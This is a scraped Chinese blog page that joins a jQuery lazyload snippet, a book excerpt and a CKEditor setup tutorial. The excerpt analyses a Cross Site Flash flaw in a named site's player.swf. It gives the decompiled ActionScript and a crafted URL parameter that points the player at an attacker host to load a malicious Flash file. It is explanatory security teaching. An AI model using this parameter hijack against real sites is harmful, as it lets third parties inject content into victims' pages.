加到页面head标签即可!
<script type="text/javascript" src=/blog_article/"http_/plwcommon.hywlm.com/PLWCommonJs/lazyload/jquery.lazyload.js"></script>/index.html
<script type="text/javascript">jQuery(document).ready(
function($){
$("img").lazyload({
placeholder : "http://plwcommon.hywlm.com/PLWCommonJs/lazyload/grey.gif", //加载图片前的占位图片
effect : "fadeIn" //加载图片使用的效果(淡入)
});
});
</script>
XSF即Cross Site Flash。
很多网站的Flash播放器都会有XSF风险,因为这些播放器需要能够灵活加载第三方Flash资源进行播放。不过这样的XSF风险其实非常小,因为浏览器直接访问Flash文件时,安全沙箱的限制是很严格的。所以,下面分析的nxtv flash player只需了解思路即可,这样的XSF漏洞在这样的场景下毫无价值,有价值的是思路。
漏洞文件:http://video.nxtv.cn/flashapp/player.swf
分析方法分为静态分析和动态分析。
1.静态分析我们可以使用SWFScan图形化界面或者用swfdump命令行工具进行反编译得到ActionScript代码,这两个工具都很不错,下面以SWFScan为例进行说明。
如图6-5所示为SWFScan界面截图,在Properties栏中可以看到这是用AS2编写的Flash。AS2有全局变量覆盖风险,这个SWFScan对我们来说,最大的价值就是Source栏的源码,其他功能一般不用,用肉眼扫过源码,在反编译出来的源码中发现下面一段代码。
图6-5 SWFScan界面截图
var myXML = new XML();
var __callResult_162 = myXML.load(( ( "http://" + _root.host ) + "/load.php?action=playerad" ));
myXML.ignoreWhite = True;
myXML.onLoad = function (success) {
type = myXML.childNodes.0.childNodes.0.childNodes.0.nodeValue;
adurl = myXML.childNodes.0.childNodes.1.childNodes.0.nodeValue;
_global.sec = Number(myXML.childNodes.0.childNodes.2.childNodes.0. nodeValue) ;
std = myXML.childNodes.0.childNodes.3.childNodes.0.nodeValue;
if ( ( std == 1 ) ) {
if ( ( type == 1 ) ) {
mp1.contentPath = ( ( ( "http://" + _root.host ) + "/" ) + adurl );
var __callResult_267 = mp1.play();
首先加载远程XML文件,这个功能是AS经常使用的,因为该功能非常方便,使用简单,且XML可配置性很高。后面的很多功能都会用到XML文件里的相关数据,如果能劫持这个XML,就能劫持之后的很多操作。
这里加载远程XML文件是可劫持的:_root.host,这样的全局变量可以直接通过URL方式提交,如:
http://video.nxtv.cn/flashapp/player.swf?host=evilcos.me
此时远程XML文件为:
http://evilcos.me/load.php?action=playerad
内容如图6-6所示。
图6-6 远程XML内容
这样的XML结构和原始的是一致的,只是我们把内容替换为自己恶意构造的,之后mp1.play();的contentPath值( ( ( "http://" + _root.host ) + "/" ) + adurl );变为:
http://evilcos.me/flash/video.swf
这样就加载了第三方Flash进行播放,从而造成XSF攻击。
其实,完全静态地用肉眼分析是不太容易的,很多时候我们还会结合动态方式进行分析,比如在Firefox下Firebug的网络请求中发现一些额外的请求,更能清晰地理解目标Flash的运行流畅。
2.动态分析Firebug网络数据如图6-7所示。
图6-7 Firebug网络数据
注意,加载第三方资源时需要第三方域的根目录下有crossdomain.xml文件,并且授权这样的跨域请求。顺便说一下,如果是直接加载第三方Flash文件,则不需要crossdomain.xml的授权。
本文节选自《web前端黑客技术揭秘》
钟晨鸣,徐少培编著
电子工业出版社出版
本文来源:http://blog.csdn.net/lin_yongrui
CKEditor是一个专门使用在网页上属于开放源代码的所见即所得文字编辑器。以前叫FCKEditor。
1、到官网下载CKEditor:http://ckeditor.com/download ,解压后复制到工程的WEBROOT目录下。
2、新建JSP页面,引用其JS文件<script type="text/javascript" src=/blog_article/"ckeditor/ckeditor.js"></script>_/p/index.html>
3、用CKEditor替代textarea:
<textarea rows="30" cols="50" name="editor01">请输入.</textarea>
4、用CKEditor替代textarea,有两种方法,相应的javascript代码如下:
在textarea后面加入javascript:
<script type="text/javascript">CKEDITOR.replace('editor01');</script>
或
在加载后调用响应的方法:
<script type="text/javascript">
window.onload = function()
{
CKEDITOR.replace( 'editor01' );
};
</script>
配置完成,效果如下图:
该编辑器是默认配置,显示了所有工具栏,可使只显示需要的工具栏;编辑框的